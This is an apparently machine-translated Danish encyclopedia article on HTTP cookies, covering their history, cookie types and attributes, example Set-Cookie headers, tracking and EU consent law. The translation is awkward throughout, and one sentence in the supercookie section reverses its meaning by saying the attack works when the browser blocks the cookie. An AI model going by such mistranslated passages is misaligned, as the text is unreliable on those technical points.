HTTP cookie - HTTP cookie

HTTP-cookies (også kaldet web cookies , Internet cookies , browser cookies , eller blot cookies ) er små blokke af data oprettet af en web-server , mens en bruger er browsing en hjemmeside og placeres på brugerens computer eller anden enhed af brugerens webbrowser . Cookies placeres på den enhed, der bruges til at få adgang til et websted, og mere end én cookie kan placeres på en brugers enhed under en session.

Cookies tjener nyttige og til tider vigtige funktioner på internettet . De gør det muligt for webservere at gemme statefulde oplysninger (f.eks. Varer, der er tilføjet i indkøbskurven i en onlinebutik ) på brugerens enhed eller til at spore brugerens browsingaktivitet (herunder at klikke på bestemte knapper, logge ind eller registrere, hvilke sider der blev besøgt i fortid ). De kan også bruges til at gemme oplysninger til senere brug, som brugeren tidligere har angivet i formularfelter , f.eks. Navne, adresser, adgangskoder og betalingskortnumre .

Godkendelsescookies bruges almindeligvis af webservere til at godkende, at en bruger er logget ind, og med hvilken konto de er logget ind. Uden cookien skulle brugere godkende sig selv ved at logge ind på hver side, der indeholder følsomme oplysninger, som de ønsker at få adgang til . Sikkerheden ved en godkendelsescookie afhænger generelt af sikkerheden på det udstedende websted og brugerens webbrowser , og om cookiedataene er krypterede . Sikkerhedshuller kan tillade en cookie er data, der skal læses af en hacker , der anvendes til at få adgang til brugerdata , eller bruges til at få adgang (med brugerens legitimationsoplysninger) til det websted, som cookien tilhører (se cross-site scripting og tværs forfalskning af websted for eksempler).

Sporingscookies , og især sporingscookies fra tredjepart , bruges almindeligvis som måder at kompilere langsigtede optegnelser over enkeltpersoners browserhistorier -en potentiel bekymring om fortrolighed, der fik europæiske og amerikanske lovgivere til at handle i 2011. Europæisk lov kræver, at alle websteder målretning mod EU -medlemsstater får " informeret samtykke " fra brugere, før de gemmer ikke-væsentlige cookies på deres enhed.

Baggrund

HTTP -cookies deler deres navn med en populær bagt godbid.

Navnets oprindelse

Udtrykket "cookie" blev opfundet af webbrowser programmerer Lou Montulli . Det stammer fra udtrykket " magisk cookie ", som er en pakke med data, et program modtager og sender uændret tilbage, brugt af Unix -programmører.

Historie

Magiske cookies blev allerede brugt i computing, da computerprogrammereren Lou Montulli havde ideen om at bruge dem i webkommunikation i juni 1994. Dengang var han ansat i Netscape Communications , der udviklede en e-handelsapplikation til MCI . Vint Cerf og John Klensin repræsenterede MCI i tekniske diskussioner med Netscape Communications. MCI ønskede ikke, at dets servere skulle beholde delvise transaktionstilstande, hvilket fik dem til at bede Netscape om i stedet at finde en måde at gemme denne tilstand på hver brugers computer. Cookies gav en løsning på problemet med pålidelig implementering af en virtuel indkøbskurv .

Sammen med John Giannandrea skrev Montulli den første Netscape -cookiespecifikation samme år. Version 0.9beta af Mosaic Netscape , udgivet den 13. oktober 1994, understøtter cookies. Den første brug af cookies (ude af laboratorierne) var at kontrollere, om besøgende på Netscape -webstedet allerede havde besøgt webstedet. Montulli ansøgte om patent på cookie -teknologien i 1995, og US 5774670  blev givet i 1998. Support til cookies blev integreret med Internet Explorer i version 2, udgivet i oktober 1995.

Indførelsen af ​​cookies var ikke almindeligt kendt på det tidspunkt. Især blev cookies accepteret som standard, og brugerne blev ikke underrettet om deres tilstedeværelse. Offentligheden lærte om cookies, efter at Financial Times offentliggjorde en artikel om dem den 12. februar 1996. Samme år fik cookies meget opmærksomhed i medierne, især på grund af potentielle konsekvenser for privatlivets fred. Cookies blev diskuteret i to amerikanske Federal Trade Commission -høringer i 1996 og 1997.

Udviklingen af ​​de formelle cookiespecifikationer var allerede i gang. Især de første diskussioner om en formel specifikation startede i april 1995 på www-talk mailinglisten . Der blev nedsat en særlig arbejdsgruppe inden for Internet Engineering Task Force (IETF). To alternative forslag til indførelse af stat i HTTP -transaktioner var blevet foreslået af henholdsvis Brian Behlendorf og David Kristol. Men gruppen, der blev ledet af Kristol selv og Lou Montulli, besluttede snart at bruge Netscape -specifikationen som udgangspunkt. I februar 1996 identificerede arbejdsgruppen tredjepartscookies som en betydelig trussel om privatlivets fred. Specifikationen produceret af gruppen blev til sidst offentliggjort som RFC 2109 i februar 1997. Den specificerer, at tredjeparts cookies enten slet ikke var tilladt eller i det mindste ikke var aktiveret som standard.

På dette tidspunkt brugte reklamevirksomheder allerede tredjepartscookies. Anbefalingen om tredjeparts-cookies i RFC 2109 blev ikke fulgt af Netscape og Internet Explorer. RFC 2109 blev afløst af RFC 2965 i oktober 2000.

RFC 2965 tilføjede et Set-Cookie2 headerfelt , som uformelt blev kaldt "RFC 2965-stil cookies" i modsætning til det originale Set-Cookieheaderfelt, der blev kaldt "Netscape-stil cookies". Set-Cookie2blev dog sjældent brugt og blev afskrevet i RFC 6265 i april 2011, som blev skrevet som en endelig specifikation for cookies, som blev brugt i den virkelige verden. Ingen moderne browser genkender Set-Cookie2headerfeltet.

Terminologi

Session cookie

En sessionscookie (også kendt som en cookie i hukommelsen , midlertidig cookie eller ikke-persistent cookie ) findes kun i midlertidig hukommelse, mens brugeren navigerer på et websted. Sessionscookies udløber eller slettes, når brugeren lukker webbrowseren. Sessionscookies identificeres af browseren ved fravær af en udløbsdato, der er tildelt dem.

Vedvarende cookie

En vedvarende cookie udløber på en bestemt dato eller efter et bestemt tidsrum. For den vedvarende cookies levetid, der er angivet af dens skaber, overføres dens oplysninger til serveren, hver gang brugeren besøger det websted, den tilhører, eller hver gang brugeren ser en ressource, der tilhører webstedet fra et andet websted (f.eks. En annonce ).

Af denne grund kaldes persistente cookies undertiden som tracking -cookies, fordi de kan bruges af annoncører til at registrere oplysninger om en brugers webbrowsingvaner over en længere periode. De bruges imidlertid også af "legitime" årsager (f.eks. At holde brugerne logget ind på deres konti på websteder for at undgå at indtaste loginoplysninger igen ved hvert besøg).

Sikker cookie

En sikker cookie kan kun overføres via en krypteret forbindelse (dvs. HTTPS ). De kan ikke transmitteres over ukrypterede forbindelser (dvs. HTTP ). Dette gør, at cookien er mindre tilbøjelig til at blive udsat for cookie -tyveri via aflytning. En cookie sikres ved at tilføje Secureflaget til cookien.

Http-kun cookie

En cookie kun til http kan ikke tilgås af API'er på klientsiden, f.eks. JavaScript . Denne begrænsning eliminerer truslen om cookie-tyveri via cross-site scripting (XSS). Cookien er imidlertid stadig sårbar over for cross-site tracing (XST) og cross-site request forgery (CSRF) angreb. En cookie får denne egenskab ved at tilføje HttpOnlyflaget til cookien.

Cookie på samme sted

I 2016 introducerede Google Chrome version 51 en ny form for cookie med attribut SameSite. Attributten SameSitekan have en værdi på Strict, Laxeller None. Med attribut SameSite=Strictville browserne kun sende cookies til et måldomæne, der er det samme som oprindelsesdomænet. Dette ville effektivt afbøde angreb på forfalskning på tværs af websteder (CSRF). Med SameSite=Laxville browsere sende cookies med anmodninger til et måldomæne, selvom det er forskelligt fra oprindelsesdomænet, men kun for sikre anmodninger såsom GET (POST er usikre) og ikke tredjeparts-cookies (inde iframe). Attribut SameSite=Nonetillader tredjepartscookies (på tværs af websteder), men de fleste browsere kræver sikker attribut på SameSite = Ingen cookies.

Cookien på samme sted er indarbejdet i et nyt RFC-udkast til "Cookies: HTTP State Management Mechanism" for at opdatere RFC 6265 (hvis godkendt).

Chrome, Firefox, Microsoft Edge begyndte alle at understøtte cookies på samme sted. Nøglen til udrulning er behandlingen af ​​eksisterende cookies uden SameSite -attributten er defineret, Chrome har behandlet de eksisterende cookies som om SameSite = None, dette ville holde alle websteder/applikationer kørende som før. Google havde til hensigt at ændre denne standard til SameSite = Lax i februar 2020, ændringen ville bryde de applikationer/websteder, der er afhængige af tredjeparts/cross-site cookies, men uden SameSite-attribut defineret. I betragtning af de omfattende ændringer for webudviklere og COVID-19- omstændigheder, tilbageførte Google midlertidigt SameSite-cookieændringen.

Tredjeparts cookie

Normalt matcher en cookiens domæneattribut det domæne, der vises i webbrowserens adresselinje. Dette kaldes en førstepartscookie . En tredjepartscookie tilhører imidlertid et andet domæne end det, der vises i adresselinjen. Denne form for cookie vises typisk, når websider indeholder indhold fra eksterne websteder, f.eks. Bannerannoncer . Dette åbner mulighed for at spore brugerens browserhistorik og bruges ofte af annoncører i et forsøg på at vise relevante reklamer til hver bruger.

Antag som et eksempel, at en bruger besøger www.example.org. Dette websted indeholder en annonce fra ad.foxytracking.com, som, når den downloades, sætter en cookie, der tilhører annoncens domæne ( ad.foxytracking.com). Derefter besøger brugeren et andet websted, www.foo.comsom også indeholder en annonce fra ad.foxytracking.comog sætter en cookie, der tilhører det pågældende domæne ( ad.foxytracking.com). Til sidst vil begge disse cookies blive sendt til annoncøren, når de indlæser deres annoncer eller besøger deres websted. Annoncøren kan derefter bruge disse cookies til at opbygge en browserhistorik for brugeren på tværs af alle de websteder, der har annoncer fra denne annoncør, ved hjælp af HTTP -henvisningsoverskriftsfeltet .

Fra 2014 indstillede nogle websteder cookies, der kunne læses for over 100 tredjepartsdomæner. I gennemsnit satte et enkelt websted 10 cookies, hvor et maksimalt antal cookies (første- og tredjepart) nåede over 800.

De fleste moderne webbrowsere indeholder privatlivsindstillinger, der kan blokere tredjepartscookies, og nogle blokerer nu som standard alle tredjepartscookies-fra juli 2020 inkluderer sådanne browsere Apple Safari , Firefox og Brave . Safari tillader indlejrede websteder at bruge Storage Access API til at anmode om tilladelse til at indstille førstepartscookies. I maj 2020 introducerede Google Chrome nye funktioner til at blokere tredjepartscookies som standard i sin inkognitotilstand til privat browsing, hvilket gør blokering valgfri under normal browsing. Den samme opdatering tilføjede også en mulighed for at blokere førstepartscookies. Chrome planlægger at begynde at blokere tredjepartscookies som standard i 2023.

Supercookie

En supercookie er en cookie med oprindelse i et topdomæne (f.eks. .com) Eller et offentligt suffiks (f.eks. .co.uk). Almindelige cookies har derimod oprindelsen til et specifikt domænenavn, f.eks example.com.

Supercookies kan være et potentielt sikkerhedsproblem og blokeres derfor ofte af webbrowsere. Hvis den blokeres af browseren, kan en angriber, der kontrollerer et ondsindet websted, oprette en supercookie og potentielt forstyrre eller efterligne legitime brugeranmodninger til et andet websted, der deler det samme topdomæne eller det offentlige suffiks som det ondsindede websted. For eksempel kan en supercookie med et oprindelse af .com, ondsindet påvirke en anmodning til example.com, selvom cookien ikke stammer fra example.com. Dette kan bruges til at falske logins eller ændre brugeroplysninger.

Den offentlige suffiksliste hjælper med at afbøde den risiko, som supercookies udgør. Public Suffix List er et initiativ på tværs af leverandører, der har til formål at levere en nøjagtig og opdateret liste over domænenavnsuffikser. Ældre versioner af browsere har muligvis ikke en opdateret liste og vil derfor være sårbare over for supercookies fra bestemte domæner.

Andre anvendelser

Udtrykket "supercookie" bruges undertiden til sporing af teknologier, der ikke er afhængige af HTTP -cookies. To sådanne "supercookie" -mekanismer blev fundet på Microsofts websteder i august 2011: cookiesynkronisering, der genopførte MUID -cookies (maskine -unik identifikator) og ETag -cookies. På grund af medieopmærksomhed deaktiverede Microsoft senere denne kode. I et blogindlæg fra 2021 brugte Mozilla udtrykket "supercookie" til at henvise til brugen af ​​browsercache (se nedenfor) som et middel til at spore brugere på tværs af websteder.

Zombie cookie

En zombie -cookie er data og kode, der er placeret af en webserver på en besøgendes computer eller anden enhed på et skjult sted uden for besøgers webbrowsers dedikerede cookie -lagringssted, og som automatisk genskaber en HTTP -cookie som en almindelig cookie efter den originale cookie var blevet slettet. Zombie-cookien kan blive gemt flere steder, f.eks. Flash Local-delt objekt , HTML5-weblagring og andre placeringer på klientsiden og endda på serversiden, og når cookiens fravær registreres, genskabes cookien ved hjælp af de data, der er gemt i disse steder.

Cookie væg

En cookie -væg dukker op på et websted og informerer brugeren om webstedets cookie -brug. Det har ingen afvisningsmulighed, og webstedet er ikke tilgængeligt uden sporingscookies.

Struktur

En cookie består af følgende komponenter:

1. Navn
2. Værdi
3. Nul eller flere attributter ( navn/værdipar ). Attributter gemmer oplysninger såsom cookiens udløb, domæne og flag (f.eks. SecureOg HttpOnly).

Anvendelser

Session management

Cookies blev oprindeligt introduceret for at give brugerne mulighed for at registrere varer, de ønsker at købe, når de navigerer gennem et websted (en virtuel "indkøbskurv" eller "indkøbskurv"). I dag er indholdet af en brugers indkøbskurv dog normalt lagret i en database på serveren, frem for i en cookie på klienten. For at holde styr på, hvilken bruger der er tildelt hvilken indkøbskurv, sender serveren en cookie til klienten, der indeholder et unikt sessions -id (typisk en lang række tilfældige bogstaver og tal). Fordi cookies sendes til serveren med hver anmodning, som klienten fremsætter, sendes denne sessions -id tilbage til serveren, hver gang brugeren besøger en ny side på webstedet, hvilket lader serveren vide, hvilken indkøbskurv der skal vises for brugeren.

En anden populær brug af cookies er til at logge ind på websteder. Når brugeren besøger et websteds login -side, sender webserveren typisk klienten en cookie, der indeholder et unikt sessions -id. Når brugeren logger ind, husker serveren, at den pågældende sessionsidentifikator er blevet godkendt og giver brugeren adgang til dens tjenester.

Fordi sessionscookies kun indeholder en unik sessionsidentifikator, gør dette mængden af ​​personlige oplysninger, som et websted kan gemme om hver bruger, stort set ubegrænset - webstedet er ikke begrænset til begrænsninger for, hvor stor en cookie kan være. Sessionscookies hjælper også med at forbedre sidens indlæsningstider, da mængden af ​​oplysninger i en sessionscookie er lille og kræver lidt båndbredde.

Tilpasning

Cookies kan bruges til at huske oplysninger om brugeren for at vise relevant indhold til denne bruger over tid. For eksempel kan en webserver sende en cookie, der indeholder det brugernavn, der sidst blev brugt til at logge ind på et websted, så det kan udfyldes automatisk, næste gang brugeren logger ind.

Mange websteder bruger cookies til personliggørelse baseret på brugerens præferencer. Brugere vælger deres præferencer ved at indtaste dem i en webformular og indsende formularen til serveren. Serveren koder for præferencerne i en cookie og sender cookien tilbage til browseren. På denne måde kan serveren hver gang brugeren får adgang til en side på webstedet, personliggøre siden i henhold til brugerens præferencer. For eksempel brugte Googles søgemaskine engang cookies til at give brugere (selv ikke-registrerede) mulighed for at bestemme, hvor mange søgeresultater pr. Side, de ville se. Også, DuckDuckGo bruger cookies til at give brugerne mulighed for at indstille visning præferencer ligesom farver af websiden.

Sporing

Sporingscookies bruges til at spore brugernes browsingvaner. Dette kan også gøres til en vis grad ved at bruge IP -adressen på den computer, der anmoder om siden eller henvisningsfeltet i HTTP -anmodningshovedet, men cookies giver mulighed for større præcision. Dette kan demonstreres som følger:

1. Hvis brugeren anmoder om en side på webstedet, men anmodningen ikke indeholder en cookie, antager serveren, at dette er den første side, som brugeren besøger. Så serveren opretter en unik identifikator (typisk en række tilfældige bogstaver og tal) og sender den som en cookie tilbage til browseren sammen med den ønskede side.
2. Fra dette tidspunkt vil cookien automatisk blive sendt af browseren til serveren, hver gang der anmodes om en ny side fra webstedet. Serveren sender ikke kun siden som normalt, men gemmer også URL'en på den anmodede side, dato/klokkeslæt for anmodningen og cookien i en logfil.

Ved at analysere denne logfil er det derefter muligt at finde ud af, hvilke sider brugeren har besøgt, i hvilken rækkefølge og hvor længe.

Virksomheder udnytter brugernes webvaner ved at spore cookies for at indsamle oplysninger om købsvaner. Den Wall Street Journal fandt, at USAs top halvtreds hjemmesider installeret et gennemsnit på tres-fire stykker af tracking teknologi på computere, hvilket resulterer i alt 3.180 sporing filer. Dataene kan derefter indsamles og sælges til bydende virksomheder.

Implementering

En mulig interaktion mellem en webbrowser og en webserver, der holder en webside, hvor serveren sender en cookie til browseren, og browseren sender den tilbage, når han anmoder om en anden side.

Cookies er vilkårlige data, som normalt vælges og først sendes af webserveren og gemmes på klientcomputeren af ​​webbrowseren. Browseren sender dem derefter tilbage til serveren med hver anmodning og introducerer tilstande (hukommelse fra tidligere begivenheder) i ellers statsløse HTTP -transaktioner. Uden cookies ville hver hentning af en webside eller komponent på en webside være en isoleret begivenhed, der stort set ikke er relateret til alle andre sidevisninger foretaget af brugeren på webstedet. Selvom cookies normalt sættes af webserveren, kan de også indstilles af klienten ved hjælp af et scriptsprog som f.eks. JavaScript (medmindre cookiens HttpOnlyflag er angivet, i hvilket tilfælde cookien ikke kan ændres af scriptsprog).

Cookiespecifikationerne kræver, at browsere opfylder følgende krav for at understøtte cookies:

• Kan understøtte cookies så store som 4.096 bytes i størrelse.
• Kan understøtte mindst 50 cookies pr. Domæne (dvs. pr. Websted).
• Kan understøtte mindst 3.000 cookies i alt.

Indstilling af en cookie

Cookies indstilles ved hjælp af Set-Cookie headerfeltet , sendt i et HTTP -svar fra webserveren. Dette headerfelt instruerer webbrowseren i at gemme cookien og sende den tilbage i fremtidige anmodninger til serveren (browseren ignorerer dette headerfelt, hvis den ikke understøtter cookies eller har deaktiveret cookies).

Som et eksempel sender browseren sin første HTTP -anmodning til webstedets www.example.orghjemmeside:

GET /index.html HTTP/1.1
Host: www.example.org
...

Serveren reagerer med to Set-Cookieoverskriftsfelter:

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: theme=light
Set-Cookie: sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT
...

Serverens HTTP -svar indeholder indholdet på webstedets hjemmeside. Men den instruerer også browseren om at indstille to cookies. Det første, "tema", anses for at være en sessionscookie, da den ikke har en Expireseller Max-Ageattribut. Sessionscookies er beregnet til at blive slettet af browseren, når browseren lukker. Den anden, "sessionToken", anses for at være en vedvarende cookie, da den indeholder en Expiresattribut, som instruerer browseren til at slette cookien på en bestemt dato og et bestemt tidspunkt.

Dernæst sender browseren en anden anmodning om at besøge spec.htmlsiden på webstedet. Denne anmodning indeholder et Cookieheaderfelt, som indeholder de to cookies, som serveren instruerede browseren til at indstille:

GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: theme=light; sessionToken=abc123
…

På denne måde ved serveren, at denne HTTP -anmodning er relateret til den forrige. Serveren ville svare ved at sende den anmodede side, muligvis inkludere flere Set-Cookieheaderfelter i HTTP -svaret for at instruere browseren om at tilføje nye cookies, ændre eksisterende cookies eller fjerne eksisterende cookies. For at fjerne en cookie skal serveren indeholde et Set-Cookieheaderfelt med en udløbsdato tidligere.

Værdien af ​​en cookie kan bestå af alle udskrivbare ASCII -tegn ( !gennem ~, Unicode \u0021 til \u007E) eksklusive ,og ;og mellemrumstegn . Navnet på en cookie udelukker de samme tegn, såvel som =, da det er grænsen mellem navn og værdi. Cookiestandarden RFC 2965 er mere restriktiv, men implementeres ikke af browsere.

Udtrykket "cookie crumb" bruges undertiden til at henvise til en cookies navn -værdi -par.

Cookies kan også indstilles af scriptsprog som JavaScript, der kører i browseren. I JavaScript document.cookiebruges objektet til dette formål. For eksempel document.cookie = "temperature=20"opretter instruktionen en cookie med navnet "temperatur" og værdien "20".

Cookie attributter

Ud over et navn og en værdi kan cookies også have en eller flere attributter. Browsere inkluderer ikke cookieattributter i anmodninger til serveren - de sender kun cookiens navn og værdi. Cookie -attributter bruges af browsere til at bestemme, hvornår en cookie skal slettes, blokeres en cookie eller om en cookie skal sendes til serveren.

Domæne og sti

Den Domainog Pathattributter definere omfanget af den cookie. De fortæller hovedsageligt browseren, hvilket websted cookien tilhører. Af sikkerhedsmæssige årsager kan cookies kun indstilles på den aktuelle ressources topdomæne og dets underdomæner, og ikke for et andet domæne og dets underdomæner. For eksempel kan webstedet example.orgikke indstille en cookie, der har et domæne, foo.comfordi dette ville give webstedet mulighed for example.orgat kontrollere domænet cookies foo.com.

Hvis en cookie Domainog Pathattributter ikke er angivet af serveren, er de standard for domænet og stien til den ressource, der blev anmodet om. I de fleste browsere er der imidlertid en forskel mellem et cookiesæt foo.comuden et domæne og et cookiesæt med foo.comdomænet. I det tidligere tilfælde vil cookien kun blive sendt til anmodninger til foo.com, også kendt som en cookie, der kun er vært. I sidstnævnte tilfælde er alle underdomæner også inkluderet (f.eks. docs.foo.com). En bemærkelsesværdig undtagelse fra denne generelle regel er Edge før Windows 10 RS3 og Internet Explorer før IE 11 og Windows 10 RS4 (april 2018), som altid sender cookies til underdomæner, uanset om cookien blev indstillet med eller uden et domæne.

Nedenfor er et eksempel på nogle Set-Cookieoverskriftsfelter i HTTP -svaret på et websted efter en bruger logget ind. HTTP -anmodningen blev sendt til en webside inden for docs.foo.comunderdomænet:

HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
…

Den første cookie,, LSIDhar ingen Domainattribut og har en Pathattribut sat til /accounts. Dette fortæller browseren kun at bruge cookien, når der docs.foo.com/accountsanmodes om sider indeholdt i (domænet er afledt af anmodningsdomænet). De to andre cookies HSIDog SSID, ville blive brugt, når browseren anmoder om et underdomæne .foo.compå en hvilken som helst sti (f.eks. www.foo.com/bar). Den forudgående prik er valgfri i nylige standarder, men kan tilføjes for kompatibilitet med RFC 2109 -baserede implementeringer.

Udløber og max-alder

Den Expiresegenskab definerer en bestemt dato og tidspunkt for, hvornår browseren skal slette cookien. Dato og klokkeslæt er angivet i formularen Wdy, DD Mon YYYY HH:MM:SS GMTeller i formularen Wdy, DD Mon YY HH:MM:SS GMTfor værdier for YY, hvor YY er større end eller lig med 0 og mindre end eller lig med 69.

Alternativt kan Max-Ageattributten bruges til at indstille cookiens udløb som et interval på sekunder fremover i forhold til det tidspunkt, browseren modtog cookien. Nedenfor er et eksempel på tre Set-Cookieoverskriftsfelter, der blev modtaget fra et websted, efter at en bruger havde logget ind:

HTTP/1.0 200 OK
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com
Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly

Den første cookie,, luudløber engang den 15. januar 2013. Den vil blive brugt af klientbrowseren indtil dette tidspunkt. Den anden cookie,, made_write_connhar ikke en udløbsdato, hvilket gør den til en sessionscookie. Den slettes, når brugeren lukker sin browser. Den tredje cookie reg_fb_gate,, har sin værdi ændret til "slettet", med en udløbstid tidligere. Browseren sletter denne cookie med det samme, fordi dens udløbstid er tidligere. Bemærk, at cookien kun slettes, hvis domænet og stiattributterne i Set-Cookiefeltet matcher de værdier, der blev brugt, da cookien blev oprettet.

Fra 2016 understøttede Internet Explorer ikke Max-Age.

Sikker og HttpOnly

Den Secureog HttpOnlyattributter ikke har tilknyttede værdier. Tilstedeværelsen af ​​blot deres attributnavne indikerer snarere, at deres adfærd skal aktiveres.

Den Secureegenskab er beregnet til at holde cookie kommunikation begrænset til krypteret transmission, lede browsere til at bruge cookies kun via sikre / krypterede forbindelser. Men hvis en webserver angiver en cookie med en sikker attribut fra en ikke-sikker forbindelse, kan cookien stadig blive opfanget, når den sendes til brugeren ved man-in-the-middle-angreb . For maksimal sikkerhed bør cookies med attributten Secure kun sættes over en sikker forbindelse.

Den HttpOnlyattribut dirigerer browsere ikke at udsætte cookies gennem andre kanaler end HTTP (og HTTPS) anmodninger. Det betyder, at cookien ikke kan tilgås via scriptsprog på klientsiden (især JavaScript ), og derfor ikke let kan stjæles via cross-site scripting (en gennemgribende angrebsteknik).

Browserindstillinger

De fleste moderne browsere understøtter cookies og giver brugeren mulighed for at deaktivere dem. Følgende er almindelige muligheder:

• For at aktivere eller deaktivere cookies fuldstændigt, så de altid accepteres eller altid blokeres.
• For at få vist og selektivt slette cookies ved hjælp af en cookie -manager.
• For helt at slette alle private data, inklusive cookies.

Der findes også tilføjelsesværktøjer til administration af cookie-tilladelser.

Fortrolighed og tredjepartscookies

Cookies har nogle vigtige konsekvenser for webbrugeres privatliv og anonymitet. Selvom cookies kun sendes til serveren, der indstiller dem eller en server i det samme internetdomæne, kan en webside indeholde billeder eller andre komponenter, der er gemt på servere i andre domæner. Cookies, der angives under hentning af disse komponenter, kaldes tredjeparts-cookies . De ældre standarder for cookies, RFC 2109 og RFC 2965, angiver, at browsere skal beskytte brugerens privatliv og ikke tillade deling af cookies mellem servere som standard. Den nyere standard, RFC 6265, tillader imidlertid eksplicit brugeragenter at implementere den tredjeparts cookiepolitik, de ønsker. De fleste browsere, f.eks. Mozilla Firefox , Internet Explorer , Opera og Google Chrome , tillader som standard tredjepartscookies, så længe tredjepartswebstedet har offentliggjort Compact Privacy Policy . Nyere versioner af Safari blokerer tredjepartscookies, og dette er også planlagt til Mozilla Firefox (oprindeligt planlagt til version 22, men udskudt på ubestemt tid).

I dette fiktive eksempel har et reklamevirksomhed placeret bannere på to websteder. Ved at hoste bannerbillederne på sine servere og bruge tredjepartscookies er reklamevirksomheden i stand til at spore browsing af brugere på tværs af disse to websteder.

Reklamevirksomheder bruger tredjepartscookies til at spore en bruger på tværs af flere websteder. Især kan et reklamevirksomhed spore en bruger på tværs af alle sider, hvor det har placeret reklamebilleder eller webfejl . Kendskab til de sider, en bruger besøger, gør reklamevirksomheden i stand til at målrette annoncer efter brugerens formodede præferencer.

Webstedsoperatører, der ikke oplyser brug af tredjepartscookies til forbrugere, risikerer at skade forbrugernes tillid, hvis der opdages brug af cookies. At have klar offentliggørelse (f.eks. I en fortrolighedspolitik ) har en tendens til at fjerne eventuelle negative virkninger af en sådan cookie -opdagelse.

Muligheden for at opbygge en profil af brugere er en trussel om privatlivets fred, især når sporing udføres på tværs af flere domæner ved hjælp af tredjepartscookies. Af denne grund har nogle lande lovgivning om cookies.

Den amerikanske regering har fastsat strenge regler for opsætning af cookies i 2000, efter at det blev afsløret, at Det Hvide Hus narkotikapolitikkontor brugte cookies til at spore computerbrugere, der ser sin online anti-narkotika-reklame. I 2002 fandt privatlivsaktivisten Daniel Brandt ud af, at CIA havde efterladt vedvarende cookies på computere, der havde besøgt sit websted. Da CIA fik besked om, at det var i strid med politikken, oplyste CIA, at disse cookies ikke med vilje blev indstillet, og stoppede med at konfigurere dem. Den 25. december 2005 opdagede Brandt, at National Security Agency (NSA) havde efterladt to vedvarende cookies på besøgendes computere på grund af en softwareopgradering. Efter at være blevet informeret deaktiverede NSA øjeblikkeligt cookies.

EU -cookiedirektiv

I 2002 lancerede EU direktivet om beskyttelse af personlige oplysninger og elektronisk kommunikation (e-privacy-direktiv), en politik, der kræver slutbrugeres samtykke til placering af cookies og lignende teknologier til lagring og adgang til oplysninger om brugernes udstyr. Navnlig pålægger artikel 5, stk. 3, at lagring af teknisk unødvendige data på en brugers computer kun kan foretages, hvis brugeren får oplysninger om, hvordan disse data bruges, og brugeren får mulighed for at nægte denne lagringsoperation. Direktivet kræver ikke, at brugerne godkender eller får besked om cookieforbrug, der er funktionelt nødvendige for at levere en tjeneste, de har anmodet om, f.eks. For at beholde indstillinger, gemme loginsessioner eller huske, hvad der er i en brugers indkøbskurv.

I 2009 blev loven ændret ved direktiv 2009/136/EF, som indeholdt en ændring af artikel 5, stk. 3. I stedet for at have en mulighed for, at brugerne kan fravælge lagring af cookies, kræver det reviderede direktiv, at der indhentes samtykke til cookie opbevaring. Definitionen af ​​samtykke krydshenvises til definitionen i europæisk databeskyttelseslovgivning, først databeskyttelsesdirektivet 1995 og efterfølgende den generelle databeskyttelsesforordning (GDPR). Da definitionen af ​​samtykke blev styrket i teksten i GDPR, havde dette den effekt, at kvaliteten af ​​det samtykke, der kræves af dem, der lagrer og får adgang til oplysninger som cookies på brugernes enheder, øges. I en sag, der blev afgjort i henhold til databeskyttelsesdirektivet, bekræftede Den Europæiske Unions Domstol imidlertid senere, at den tidligere lov indebar den samme stærke kvalitet af samtykke som det nuværende instrument. Ud over kravet om samtykke, der stammer fra lagring eller adgang til oplysninger på en brugers terminalenhed, vil oplysningerne i mange cookies blive betragtet som personoplysninger under GDPR alene og vil kræve et juridisk grundlag for at behandle dem. Dette har været tilfældet siden databeskyttelsesdirektivet fra 1995, der anvendte en identisk definition af personoplysninger, selvom GDPR i fortolkende betragtning 30 præciserer, at cookie -id'er er inkluderet. Selvom ikke al databehandling i henhold til GDPR kræver samtykke, betyder egenskaberne ved adfærdsmæssig reklame, at det er svært eller umuligt at retfærdiggøre det på anden måde.

Samtykke under kombinationen af ​​GDPR og e-Privacy-direktivet skal opfylde en række betingelser i forhold til cookies. Det skal være frit givet og utvetydigt: æsker med forboksning blev forbudt i henhold til både databeskyttelsesdirektivet 1995 og GDPR (betragtning 32). GDPR er specifik, at samtykke skal være lige så 'let at trække tilbage som at give', hvilket betyder, at en afvisning-alle-knap skal være lige så let tilgængelig med hensyn til klik og synlighed som en 'accepter alle' -knap. Det skal være specifikt og informeret, hvilket betyder, at samtykke vedrører bestemte formål med brugen af ​​disse data, og alle organisationer, der ønsker at bruge dette samtykke, skal specifikt navngives. Den Den Europæiske Unions Domstol har også fastslået, at samtykke skal være 'effektive og rettidige', hvilket betyder, at det skal opnås, før cookies er lagt og databehandling begynder i stedet for bagefter.

Industriens reaktion har stort set været negativ. Robert Bond fra advokatfirmaet Speechly Bircham beskriver virkningerne som "vidtrækkende og utroligt belastende" for "alle britiske virksomheder". Simon Davis fra Privacy International hævder, at korrekt håndhævelse ville "ødelægge hele branchen". Forskere bemærker dog, at den popu-up af cookie-popups viser sig at være et forsøg på at fortsætte med at drive en forretningsmodel gennem indviklede anmodninger, der kan være uforenelige med GDPR.

